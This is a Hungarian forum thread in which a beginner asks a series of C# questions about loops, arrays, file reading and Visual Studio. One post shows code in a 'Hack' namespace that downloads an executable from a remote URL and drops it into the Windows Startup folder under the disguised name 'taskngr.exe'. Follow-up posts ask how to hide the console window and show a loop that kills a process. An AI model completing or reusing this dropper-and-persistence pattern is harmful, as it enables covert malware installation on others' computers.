- Kicsit extrémre sikerült a Hyte belépője a készre szerelt vízhűtések világába
- Egészen nagy teljesítményspektrumon fedné le a mobil piacot az AMD
- Kihívás a középkategóriában: teszten a Radeon RX 7600 XT
- Már a Sparkle is jegyezhet fehérbe öltöztetett videokártyákat
- Modern monitorokra köthető 3dfx Voodoo kártya a fészerből
- Modern monitorokra köthető 3dfx Voodoo kártya a fészerből
- Házimozi belépő szinten
- Telekom TV SmartBox: szolgáltatói set-top box alacsony korlátokkal
- AMD GPU-k jövője - amit tudni vélünk
- OLED TV topic
- Milyen videókártyát?
- Vezetékes FEJhallgatók
- Kicsit extrémre sikerült a Hyte belépője a készre szerelt vízhűtések világába
- HiFi műszaki szemmel - sztereó hangrendszerek
- Kormányok / autós szimulátorok topicja
Hirdetés
-
Kicsit extrémre sikerült a Hyte belépője a készre szerelt vízhűtések világába
ph A cég megoldása centralizált vezérelhetőséggel, masszív radiátorral és robusztus ventilátorokkal igyekszik vásárlásra csábítani.
-
Súlyos adatvédelmi botrányba kerülhet a ChatGPT az EU-ban
it Egyre nagyobb probléma az AI hallucinálása – most az osztrák adatvédelmi hatóság veheti elő a ChatGPT miatt az OpenAI-t, alapvetően a GDPR megsértése miatt.
-
Ilyen lesz az Astor: Blade of the Monolith
gp A C2 Game Studio nemrég átnevezett játéka a tervek szerint jövő hónap végén debütál.
Új hozzászólás Aktív témák
-
Dinter
addikt
Sziasztok!
Gyakorlás képpen csináltam egy kis szorzótábla-programot. Valami baj van vele a tömbös résznél. Ott még nem járok a könyvben, igaz a megoldása benne van, de kicsit átalakítottam. Így viszont nem tudom mi a baja. Íme a kód:
using System;
namespace Dinter
{
class Program
{
static public void Main(string[] args)
{
int tabla;
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
tabla = Convert.ToInt32(int.Parse(args[0])); // ez a rész a hibás
if (tabla == 0 || args.Length == 0)
{
Console.WriteLine("Hiba!");
return;
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, tabla, i * tabla);
}
Console.ReadKey();
}
}
}[ Szerkesztve ]
-
Dinter
addikt
Így csináltam meg. 1 hiba van:
1. Azt, hogy visszatérjen a program elejére és újból megkérdezze nem tudom hogy kell megcsinálni.
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
string szam = Console.ReadLine();
if (szam.Length == 0)
{
Console.WriteLine("Nem adtál meg semmit sem!");
}
int szorzas = Convert.ToInt32(szam);
if (szorzas == 0)
{
Console.WriteLine("Nem adthatsz meg 0-t!");
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szam, i * szorzas);
}
Console.ReadKey();
}
}
}[ Szerkesztve ]
-
Dinter
addikt
De ha megadom ciklusfeltételnek, hogy addig ismételje, míg x hossza == 0 vagy y 0=0, akkor azt nem fogadja el, mert nincs definiálva
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
string szam;
int szorzas;
while(szam.Length == 0 || szorzas == 0)
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szam = Console.ReadLine();
szorzas = Convert.ToInt32(szam);
}
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szam, i * szorzas);
}
Console.ReadKey();
}
}
}[ Szerkesztve ]
-
Dinter
addikt
Így tudtam megcsinálni. Az int.TryParse-val nem működött, és úgy hogy nem a while cikluson belül incializálom, úgy sem működött, mert akkor csak arra a ciklusra lesz érvényes, és a végén a for-nál nem tudom használni. Most ahogy kinéz, így nem működik a program. Mindig csak ismétli magát, mindegy milyen számot (vagy semmit) adok meg.
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas=0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
Most átírtam így, de nem engedi elindítani, mert azt írja, hogy tegyem biztossá, hogy az argumentumok megfelelő formátumban legyenek. Ezt hogy?
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas = 0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
szorzas = int.Parse(szorzo);
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
válasz xxSanchez #3488 üzenetére
Rákerestem hogy lehet csak-számot engedélyezni, de az túl bonyolultnak tűnt, ezért inkább try-ba raktam. Most jó, így néz ki:
using System;
namespace Dinter
{
class Program
{
public static void Main()
{
int szorzas = 0;
string szorzo = String.Empty;
do
{
Console.Write("Üdvözöllek. Ez egy szorzótábla. Írj be egy számot, és én kiírom neked a szorzatokat 10-ig: ");
szorzo = Console.ReadLine();
try
{
szorzas = Convert.ToInt32(szorzo);
}
catch
{
Console.WriteLine("Nem írhatsz be szöveget vagy nem hagyhatod üresen a számot!");
Console.WriteLine();
}
} while (szorzo.Length == 0 || szorzas == 0);
for (int i = 0; i <= 10; ++i)
{
Console.WriteLine("{0}×{1}={2}", i, szorzo, i * szorzas);
}
Console.ReadKey();
}
}
} -
Dinter
addikt
Azt hogy tudom elérni, hogy egy if blokkon belüli rész elérhető legyen más blokkoknak is?
[ Szerkesztve ]
-
Dinter
addikt
Van a könyvben egy gyakorló program, kő-papír-olló. Ez a megoldása, de ott a végén valamiért nem működik.. Else-elseifes résszel van baja.
using System;
class Program
{
static public void Main()
{
Random r= new Random();
string gep="";
string jatekos="";
int jatekospont=0;
int geppont=0;
bool l=true;
switch(Console.ReadKey(true).KeyChar)
{
case 'k':
jatekos="kő";
break;
case 'p':
jatekos="papír";
break;
case 'o':
jatekos="olló";
break;
}
switch(r.Next(0,3))
{
case 0:
gep="kő";
break;
case 1:
jatekos="papír";
break;
case 2:
jatekos="olló";
break;
}
do
{
Console.WriteLine("Akarsz még játszani? (i/n)");
if(Console.ReadKey(true).KeyChar == 'n') {l=false; }
}while(l);
Console.WriteLine("Mit választasz? (k/p/o)");
if((jatekos == "kő" && gep == "papír")
||
(jatekos == "papír" && gep == "olló")
||
(jatekos == "olló" && gep == "kő"))
{
Console.WriteLine("Veszítettél! Az állás:\nSzámítógép:{0}\nJátékos:{1}", ++geppont, jatekospont);
}
elseif (jatekos == gep)
{
Console.WriteLine("Döntetlen! Az állás:\nSzámítógép:{0}\nJátékos{1}", geppont, jatekospont);
}
else
{
Console.WriteLine("Nyertél! Az állás:\nSzámítógép:{0}\nJátékos:{1}", geppont, ++jatekospont);
}
}
} -
Dinter
addikt
válasz martonx #3495 üzenetére
Hát igen, csak én pár napja kezdtem el tanulni a C#-t, és mivel a könyvben nem egy helyen van rosszul írva, fogalmam sem volt, hogy azért lehet rossz. Egyébként van mellette egy pár másik hiba [link] is úgy, ha rosszul van írva - és nem ajánl fel javítást.
Igen, tudom utána nézhettem volna a neten, de nem is gondoltam rá.
-
Dinter
addikt
Most tömb legkisebb-legnagyobb elemének keresésével van problémám. Azon belül is a legkisebb. Kerestem egy másikat is a neten, de ott is problémája volt a minimummal.
using System;
class Program
{
static public void Main(string[] args)
{
int[] tomb = new int[10];
Random r = new Random();
for (int i = 0; i < tomb.Length; ++i) // tömb feltöltése
{
tomb[i] = r.Next(1, 1000);
}
int min = 1000;
int max = -1;
int minIdx = 0;
int maxIdx = 0;
for (int i = 0; i < 30; ++i)
{
if (tomb[i] < min)
{
min = tomb[i];
minIdx = i;
}
else if (tomb[i] > max)
{
max = tomb[i];
maxIdx = i;
}
}
}
} -
Dinter
addikt
Köszi
[ Szerkesztve ]
-
Dinter
addikt
Tudom, hogy elég amatőr kérdés, de mit jelent, ha pl egy tömb indexének a helyére beírunk egy változót (pl. i)? Akkor a változó értéke lesz az index vagy mi van ilyenkor?
[ Szerkesztve ]
-
Dinter
addikt
Olyat lehet csinálni, hogy új tömböket hozok létre név megadása nélkül? És ha nem, akkor random szám generátorral lehet?
-
Dinter
addikt
Na szóval azt akarom, hogy lefoglalja a memóriát. GC kiiktatva. Csak ha így elindítom, OutOfMemoryExceptiont kapok, és azt akarom, hogy minden áron lefusson a program.
Edit: ha tryba rakom, akkor ugyan úgy nem fog lefutni nem?
[ Szerkesztve ]
-
Dinter
addikt
Erre most miért kapom ezt?Process.GetProcessesByName("programnév");
Cannot implicitly convert type 'System.Diagnostics.Process[]' to 'System.Diagnostics.Process'[ Szerkesztve ]
-
Dinter
addikt
Sziasztok. Azt szeretném megcsinálni, hogy a program a netről URL alapján letöltsön a gépre egy fájlt. Nekem azt mondták, hogy először létrehozod, majd bele kell írni. Nos itt a forráskód:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Net;
namespace Hack
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void label1_Click(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
}
class Letrehozas
{
public static void Letoltes()
{
StreamWriter file = new StreamWriter(Application.UserAppDataPath + "\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\taskngr.exe");
File.Create(Download("http://dinter.atw.hu/client.exe"));
file.Close();
}
public static string Download(string uri)
{
WebClient client = new WebClient();
Stream data = client.OpenRead(uri);
StreamReader reader = new StreamReader(data);
string s = reader.ReadToEnd();
data.Close();
reader.Close();
return s;
}
}
}Próbáltam rendszergazdaként és nélküle is indítani a programot. Külön lejön a program.
[ Szerkesztve ]
-
Dinter
addikt
Az mitől van, hogy letölti a fájlt, de csak 552 bájtot? 1 perc alatt lazán le kéne jönnie 1,5Mbps letöltéssel.
-
Dinter
addikt
AppDatát hogy lehet helyettesíteni paranccsal? Két parancsot próbáltam:
Application.UserAppDataPath+ "\\Roaming"
Environment.GetFolderPath( Environment.SpecialFolder.ApplicationData)+\\"Roaming"De ezekkel nem működnek. Ha simán beírom AppData-t akkor megy.
[ Szerkesztve ]
-
Dinter
addikt
Ha kitöröltem az app.manifestet, akkor vissza lehet hozni?
-
Dinter
addikt
Egy Concole App-ot meg lehet úgy csinálni, hogy ne nyissa meg hozzá az ablakot? Tehát a kód fusson, de ne legyen hozzá ablak.[ Szerkesztve ]
-
Dinter
addikt
Az mitől van, hogy itt a Thread.Sleep-ben bármit írok idő helyére, kb 1 percenként zárja be azt a programot?
Process[] prs = Process.GetProcesses();
while(true)
{
foreach (Process pr in prs)
{
if (pr.ProcessName == "GameRanger")
{
pr.Kill();
}
Thread.Sleep(TimeYouLike);
prs = Process.GetProcesses();// **Update the process list**
}
} -
Dinter
addikt
Üdv.
Mi a legegyszerűbb módja console app-ban egy olyan formájú táblázat készítésének, hogy:
1. 2. 3. 4. 5.
A
B
C
D
E
... -
Dinter
addikt
Üdv!
Egy versenyfeladatot kezdtem el gyakorlásképp. Egy loginrendszer az első része. Egy szövegfájlban vannak elmentve az adatok, és ha nem stimmel, akkor nem enged belépni, aztán pedig a beosztástól függően különböző felületet ad ki, aztán még vannak benne plusz funkciók, de egyenlőre csak a bejelentkezésnél tartok.
1. Erre console app vagy winform app az alkalmasabb?
2. A loginnál addig jutottam, hogy beolvasom az adatokat egy adatok string[]-be. A txt-ben a fájlok ilyen formátumban vannak:azonosító:felh.:jelszó:vezető-e
1:id:pw:1Na most ezeket hogy, mivel kéne különszednem?
-
Dinter
addikt
válasz Alexios #6070 üzenetére
Azt hogy tudom megcsinálni, hogy ezt berakom egy for ciklusba, és akkor legenerálja a 6 usernek jelen esetben:
string[] user+i=adatok[I].Split(':')
Azt hogy tudom elérni, hogy olyan nevű string tömböt hozzon létre, amiben benne van a 'user' és még hozzáfűzi az 'i' jelenlegi értékét?
[ Szerkesztve ]
-
Dinter
addikt
Ha kérek egy számot, viszont nem ad meg semmit, akkor azt hogy csinálom meg, hogy újra kérje? Erre gondoltam, de ez nem jó.
int szam = int.Parse(Console.ReadLine());
if (szam == null)Meg amikor az IntelliSense-nél elkezdek valamit írni, akkor kijelöli a sárga kerettel, de nem írja be magától, azt hogy lehet visszakapcsolni?
[ Szerkesztve ]
-
Dinter
addikt
Két- és többdimenziós tömböt egymásba ágyazott ciklusokkal lehet (legegyszerűbb) kiíratni?
-
Dinter
addikt
Olyankor mit kell csinálni, ha a Visual Studioban az intellisense felajánlja a lehetőségeket, de nem egészíti ki maga, hanem még ki kell választani a nyíllal?
-
Dinter
addikt
Azt szeretném, ha a program soronként beolvasna egy szöveges fájlt, az első sort szétszedné a szóköznél, azt két int-té szedné szét, majd a többi sor értéke alapján igaznak állítaná a bool-t. Viszont nem nagyon akar menni, ezt hoztam össze.
StreamReader olv = new StreamReader("be1.txt");
string[] sor = olv.ReadLine().Split(' ');
int N=int.Parse(sor[0]);
int M = int.Parse(sor[1]);
bool[] vanOr = new bool[N+1];
olv.ReadToEnd();
{
int x=int.Parse(olv.ReadLine());
vanOr[x] = true;
} -
Dinter
addikt
válasz Jester01 #6148 üzenetére
Köszi, ez lesz az.
(#6149) kingabo: láttam már azt a megoldást is, tényleg egyszerűbb, csak ahogy most keresgéltem, az egyikben sem szerepelt
Mondjuk így ha belegondolok, nem az lenne a logikus, hogy az első ReadLine után a második while ciklussal mégegyszer beolvassa az első sort (mert egyébként nem, így jó), vagy csak az én hülyeségem?
-
Dinter
addikt
2. feladatot szeretném megcsinálni, leírom az elképzelésem.
Bekérem a sorok, oszlopok számát, majd ennek felhasználásával létrehozok egy kétdimenziós tömböt. Aztán létrehozok egy kétdimenziós boolt, hogy beszabad-e hajtani, azaz van-e ott tábla. Ha a bemenetben megadja, akkor falsera vált. Egyelőre csak ennyit szeretnék, hogy az alap koncepcióm jó-e, sajnos ezekhez a feladatokhoz nincsenek megoldások.
Vagy 2 egymásba ágyazott ciklus, ami addig megy, míg nem éri el a célállomást? És ha a következő helyen van tábla, akkor a másik irányba megy.
[ Szerkesztve ]
-
Dinter
addikt
Üdv!
Azt hogy tudnám elérni, hogy az olv-t a sor[i]-nél is tudjam használni, ne írja, hogy nem létezik olyan?
static void Main(string[] args)
{
string[] elso=new string[2];
using (StreamReader[U] olv[/U]=new StreamReader("be1.txt"))
{
elso = olv.ReadLine().Split(' ');
}
int N = int.Parse(elso[0]);
string[] sor = new string[N+1];
for (int i = 0; i <= N; i++)
[U] sor[i] = olv.ReadLine();[/U]
for (int i = 0; i < N; i++)
Console.WriteLine(sor[i]);
Console.ReadKey();Tömb feltöltésre van olyan mód, amihez nem kell megadni elemszámot és dinamikus, vagy ha a bemenetből ki bírom olvastatni akkor inkább olvassam ki?
-
Dinter
addikt
Üdv.
Egy fájlból szeretnék beolvasni 3 sort, mindegyikben a következő van: árfolyam értéke
Ezt úgy gondoltam, hogy először splittel listbe szétszedem őket, aztán a párosokat és a páratlanakat külön egy másik listbe.Adott ez a kód:
List<string> sorok=new List<string>();
string sor;
using (StreamReader sr = new StreamReader("árfolyamok.txt"))
{
while((sor=sr.ReadLine())!=null)
sorok=sor.Split(' ').ToList();Hogy tudom elérni, hogy a listában az összes árfolyam tartalma megmaradjon, ne csak az utolsó? list.Add nem működik.
Új hozzászólás Aktív témák
● ha kódot szúrsz be, használd a PROGRAMKÓD formázási funkciót!
- DIGI Mobil
- Microsoft Office és Office 365 topic
- Filmvilág
- Politika
- Gyúrósok ide!
- Modern monitorokra köthető 3dfx Voodoo kártya a fészerből
- Házimozi belépő szinten
- Folyószámla, bankszámla, bankváltás, külföldi kártyahasználat
- Autós topik
- Telekom TV SmartBox: szolgáltatói set-top box alacsony korlátokkal
- További aktív témák...
- ASUS ZENBOOK 13 UX333FA - 13,3"FHD IPS - i5-8265U - 8GB - 512GB SSD - Win11 - Magyar
- Playstation 5 Drive Edition 825GB (CFI-1216A), 2025.11.03-ig gyári garanciával, Bp-i üzletből eladó
- Lüm-tec m85 Svájci szerkezetű Amerikai microbrand
- Új! 64Gb DDR4 - Corsair 32GB KIT DDR4 4600MHz CL18 Vengeance RGB RT
- Samsung Galaxy A54 5G Eladó...